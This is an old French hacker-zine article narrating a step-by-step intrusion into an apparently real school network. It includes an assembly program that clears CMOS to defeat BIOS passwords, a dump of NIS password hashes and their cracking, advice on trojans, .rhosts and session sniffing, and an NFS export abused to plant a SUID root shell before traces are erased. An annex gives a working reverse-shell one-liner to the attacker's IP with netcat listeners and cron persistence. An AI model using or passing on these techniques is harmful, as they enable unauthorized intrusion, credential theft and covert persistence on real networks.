---------------------------{ le HackRezo }---------------------------
                           

              [File by Par4noID]  
         
                        rtcparanoid@yahoo.fr                
         

------
Cet article est ddi:
- cet !#@!%# de Kosak qui croit que le hack se rduit  des dfacements de
 pages et que la pntration rzo ne se fait qu'avec du win NT... 
- cet abruti de hackit dont j'ai malencontreusement (oups!) effacer le 
disque dur (faire le roi sur irc avec xchat c'est bien, sans un ++ dans le
.rhost c mieux...) 
------

Je vais d'abord commencer cette article par une petite mise au point. Le Hack 
Rezo (ie l'art et la manire de pntrer et de prendre possesion d'un rseau) 
est  mes yeux  (et  ceux de la RtC), LE FONDEMENT du hacking!        
Personne n'en doute? arf, si seulement... (on parle encore de toi Koko)

Si j'cris cette article, ce n'est pas tant pour expliquer les bases de cet 
art que pour rpondre  cette tendance de la scne francaise d'valuer le 
niveau d'un hacker au nombre de pages qu'il a pirat!
Soyons srieux 2 minutes, prendre pour un hacker un utilisateur d'exploits, 
un lame muni de cgi-scan, cela est  peu prs quivalent  considrer 
miKrokro comme des informaticiens.

Si vous voulez modifier des pages, passez votre chemin, allez sur 
www.hack.co.za, charger des exploits dont vous ignorez le sens, faites un 
rapport nessus (faites vous loguer au passage) et changer vos p'tain de pages 
mais surtout, surtout, arrtez de nous pter les couilles (sauf pour les 
pages fachos).

Un hacker peut utiliser des exploits. Mais
1/ Il doit les comprendre (j'en ai marre d'expliquer comment modifier 
un buff overflow parce qu'il faut changer l'adresse......)
2/ Ils doivent servir  rentrer sur un rseau et pas  changer la page de 
www.laglisse.com ou www.comment_cuisiner_les carottes.org!

Et maintenant l'article --------------------------------------------- 

Penetration rezo: les bases.

Tranquilement assis devant votre cran  fumer je ne sais quel substance 
toxique ;), vous voulez, mettons, accedez  certains documents d'un certain 
rezo, par exemple, au hasard, de l'ducation nationale ( ;) to Andro && / ).

Deux cas: 
-vous attaquez de l'extrieur 
-vous attaquez de l'interieur 

#keep rollin', rollin', rollin'

{ DE l'interieur....

Vous avez un compte linux (mettons guest) sur une machine dans une salle 
style libre service (ce rezo n'a bien sur qu'une existence fictive, toute 
ressemblance avec un rezo connu de certains membres n'est que le pur fruit du 
hasard _hh_ )

bash$ whoami
guest

Ok, redemarrer la machine avec une disquette bidon dans le lecteur!

Not a disk system ... 

bingo, on dmarre d'abord sur le lecteur de disquette!

--------------remarque-------------------
rarement les boot sont protgs. Cependant si vous etes face a une machine
qui dmarre d'abord sur le disque dur, regarder si le BIOS est protg par
un passe. Si ce n'est pas le cas, choisissez comme ordre d'amorce A,C sinon
on va essayer de deplomber le boot. Pour le rezo ""fictif"" dont je vous
parle, le BIOS etait protege par un passe, mais les machine tournaient et
sous nux et sous win3.1. reBingo! Je demarre sous win3.1 et je compile :

&&&&&&&&&&&&&&&&&
.model tiny
.code

	ORG 100h

Debut :

        mov cx, 40h     ; on se prpare  crire 40 octets
	xor ah,ah	; ah=0

Boucle :

        mov al,ah       ; on met l'adresse de l'octet dans al
        out 70h,al      ; on demande l'ecriture
	xor al,al
	out 71h, al	; un 0 sur le port 71h
        inc ah		; octet suivant
	loop Boucle
 
END Debut
&&&&&&&&&&&&&&&&&&

tasm borp.asm 
tlink borp /t 

et voila le travail.....
borp.com a alors pour effet de decharger la pile CMOS, ie votre machine va
redemarrer avec les parametres initiaux, rereBingo, en general avec les  
parametres initiaux le BIOS est accessible sans passe.

-----------fin de la remarque--------------------

Bene, nous avons des lors une machine qui demarre sur le lecteur de 
disquette. Pas de pb, on utilise alors le disk RTC (que l'on pourrait presque
considerer comme un truc de constructif, non Kosak ? )

bash$ bd mot_pass
bash# ahahhhhhhhhaaaaaaaaaahhhhhhhhhhhhh

-----------remarque pour Kosak-------------------
le # ca veut dire que j suis root
-------------------------------------------------

reBene.

------------------Remarque2----------------------
Si le boot est inviolable, vous pouvez alors commencer  utiliser des
exploits, on regarde sendmail, ftp s'il tourne, buff overflow, runner,
etc.....
-----------fin de la remarque--------------------

bash# more /etc/passwd

...
...   shadowed passfile
...
+

On remarque le zoli + final qui signifie que le systeme utilise NIS.
rereBene.
La plupart des rezo n'ont pas encore compris l'utilit de NIS+, ce qui donne 

bash# ypcat passwd.byname

a:cevY7jUakGTLo:601:101::/mnt/home/a:/bin/bash
b:ctjZnfkQXiens:602:101::/mnt/home/b:/bin/bash
c:Y6xqbn.VysVU2:603:101::/mnt/home/c:/bin/bash
d:sU/8O2fSviSrM:604:101::/mnt/home/d:/bin/bash
e:g4QUli87j/oYc:610:101::/mnt/home/e:/bin/bash
f:kE18olxNI/Cgg:606:101::/mnt/home/f:/bin/bash
g:d6YFgmApd8cv2:607:101::/mnt/home/g:/bin/bash
h:9cTl3d6VXAlT.:608:101::/mnt/home/h:/bin/bash
i:vIWaEjTGwWQN0:609:101::/mnt/home/i:/bin/bash
j:s8M/3Me9XIToA:605:101::/mnt/home/j:/bin/bash
p:HcwbvoKhnNA5Q:611:101::/mnt/home/k:/bin/bash
v:aEjFDkjFD99Lf:612:101::/mnt/home/l:/bin/bash
c:ESsjPe8a3skkw:613:101::/mnt/home/m:/bin/bash

^-----Map NIs dont j'ai censure les noms pour eviter que certaines balances 
(K!#@ak) leur telephone...............

rererererererrBene, j'balance crackJ/ak avec le RTCdico (rien de 
constructif, hein K#!@ak)

g4QUli87j/oYc me renvoie comme pass 'phi', re..reBene.
Deja un compte.

------------------Remarque----------------------------
Il est ici possible qu'aucun mot de passe ne soit faible, c'est mme souvent
le cas. On ne dsespere alors pas:
si d'autres utilisateurs existent, c'est qu'ils doivent utiliser leur compte
(rq pertinente!).
Le but va donc tre de reprer les machines auquelles ils se connectent par,
par exemple, une srie de finger.

Mettons que "bash# finger @KF-03" --> renvoie l'utilisateur p

; si le port finger (79) est ferm, vous pouvez toujours essayer de compter
  sur les outils rwho ou rusers.

Une fois que nous savons que l'user p utilise rgulirement la machine KF-03,
on peut essayer de lui tendre un pige.
1/ Vous avez accs  la machine (physiquement ou par connection):
   --> physiquement, rutiliser les techniques expliques prcdemment pour
       passer root puis modifier le prog login ou poser un simple cheval de
       troie.
   --> par connection, essayer les exploits distants classiques, ou coller
       lui un prog auquel il fera confiance.
       ex: dans le rzo dont je vous parle:
       * l'user p possdait un rpertoire public export  everyone et
       utilis par d'autres user de confiance. Vous montez le repertoire puis
       vous collez votre cheval de troie, classique mais efficace...
       * pire , la machine NIS exportait son repertoire /home en everyone,
       et hop, un joli .rhost si le port rlogin est ouvert sinon mme
       technique que prcdemment, l'utilisateur a peu de chances de se
       mfier d'un fichier se trouvant dans son home.
       
2/ Vous n'avez pas acces  la machine...
    Surveillez l'ensemble du rezo, ainsi mettons que p se connecte
    rgulirement  la machine KF-89 par un simple telnet.
    Snif, snif... Sniffer puis casser sa connection. (un ensemble de paquets
    RST permettent en gnral d'arriver  ses fins).
    Attendez qu'il se reconnecte, puis vous aurez, en clair s'il vous plait,
    son pass.

3/ Je n'ai pas accs  la machine et l'user utilise ssh!
   cf rtcmag4, si vous avez le controle du serveur ssh, volez lui son MAGIC
   Cookies, puis faites des captures clavier-ecran.
   Je n'ai pas accs au serveur ssh!
   Essayer le SE, ou un autre utilisateur.

-----------------------fin de la remarque--------------------------------

Ah oui, j'aurais peut-etre du vous le signaler, mon but est d'atteindre la 
machine numero 16, qui contient certaines informations, sur certains 
personnages (du groupe?), qu'il serait utile de modifier.

Ok, la machine 16 est cliente NIS, je possede donc un compte sur elle, 
puisqu'elle obeit  la mme map NIS. 

Je repere alors un autre utilisateur NUX, la machine 25.

bash# exit
bash$ telnet KF-25

Autant voir si le port 21 est ouvert depuis cette machine, cela m'vitera de
me faire prendre (Kosak, si tu avais lu cet article peut tre ne te serais
tu pas fait prendre par la SEFTI)
 
KF-25$ telnet KF-16

login: e
pass: 

KF-16$ exit
KF-25$ exit

bash$               
Ok , le port telnet est ouvert, tout va bien....
J'evite de trop trainer sur 25 car un finger me trahirait. 

Bon je veux devenir ROOT sur 16.

----Remarque pour Kosak, le roi du Hack------------------------
ROOT est le nom donne au super utilisateur.
---------------------------------------------------------------

bash# more /etc/fstab


/dev/hda1    /dos       vfat    rw          0 0
/dev/hda2    /          ext2	defaults    1 1
/dev/hda3    swap       swap    defaults    0 0
none         /proc	    proc    defaults    0 0
serveur:/usr /usr       nfs     defaults,rsize=8192,wsize=8192  0 0
/dev/fd0     /floppy    vfat    user,noauto,sync   0 0
 
Tiens serveur export ?

serveur est la machine 20 , c'est aussi le serveur d'impression de la
salle ;). Toutes les machines de la salle montent cette machine au dmarrage.
 
bash# exit
bash$ telnet KF-25
   
KF-25$ /usr/sbin/showmount -e KF-20

Export list for KF-20:
/             (everyone)
/home         (everyone)
/usr          (everyone)

Que lis-je ? /
                 
                  everyone 
                 

KF-16 n'est pas dans ma salle, cependant, avec un peu de chances, elle
montent au dmarrage l'un des rpertoires de KF-20:

bash# exit
bash$ telnet KF-25

KF-25$ telnet KF-20

login: e
pass:

KF-20$ et on regarde l'export list

KF-00
...


KF-16      <------------ arffffffffff
...

KF-10000000000 ;)

re.............................................reBingo!!!!


On va donc crire sur le serveur d'impression, qui est aussi serveur NFS.

bash$ bd mdp
bash# ;)

On cre d'abord un nouveau rpertoire...

bash# mkdir /tmp/Marie

... que l'on utilise pour monter le disque de KF-20

bash# mount KF-20:/ -t nfs /tmp/Marie
bash# cp bd /tmp/Marie

On copie le joli SUID 0 sur KF-20

bash# exit
bash$
bene, l'attaque peut ds lors tre finalise!

bash$ telnet KF-25
Comme d'hab, on se protge...

KF-25$ bd mdp
KF-25# valahhhhhh,...
On modifie finger pour viter de se faire tracer et on attaque...

KF-25# exit
KF-25$ telnet KF-20
login: e
pass:
KF-20$ bd mdp
KF-20# yahhhhhhooooooooooooooooooooooooo ;)  ( Andro j vais pouvoir te
                                               satisfaire ;) )

Voila, quelques fichiers furent modifis, puis les traces effaces.
Cet article ne montre pas TOUTES les facons de passer maitre d'un rezo.
Il constitue juste un exemple d'intrusion.

ANNEXE

Je suis maitre  l'intrieur mais je veux accder de l'extrieur.
         Le reverse telnet.

En gnral si vous tes maitre sur une machine  l'intrieur, votre but va
tre de donner accs  cette machine depuis l'extrieur, c'est  dire depuis
Internet.
La technique, en gnral utilise, (elle n'est pas de moi), va tre d'tablir
une connection telnet sur votre machine depuis la machine  l'intrieur.

Mettons que le firewall ne laisse passer que les connections ports 80 (http)
&& 21 (ftp) autorises en sortie.

La machine dont vous avez pris le contrle doit alors xcuter la commande
suivante:
/bin/telnet votre_IP 80 | /bin/sh | /bin/telnet votre_IP 25

Votre machine doit avoir auparavant xcut les commandes:
nc -l -n -v -p 80     (j utilise ici netcat)
nc -l -n -v -p 21
(killer les process ftpd ou httpd s'ils sont lancs)

Explication:
La machine interne se connecte  votre port 80 ouvert grce  netcat.
Les commandes alors tapes dans la fenetres de netcat correspondantes vont
tre piper vers /bin/sh (c'est le reverse telnet) et le resultat du shell
vers votre port 21 ecout par nc dans la deuxieme fenetre.

CL: Vous disposez d'un shell sur lka machine interne outre le firewall!


                          
                  <>--------port 80---- reverse telnet------Machine                  
 Votre Machine            Firewall                       Interne   
                                                         /bin/sh   
   <---------port 21---------------------------                 
                                            


----------------------Remarque--------------------------
Vous pouvez cacher cette commande dans l'un des cron, mais vous devez
alors disposer d'une adresse IP fixe. Pour cela, le mieux est encore de
disposez d'un autre shell ou d'utiliser des techniques de barbare comme un
prog qui irait chercher votre IP cacher dans une page web...
--------------------------------------------------------

[EOF]
<-----------------File by Par4noID------------------> rtcparanoid@yahoo.fr


       


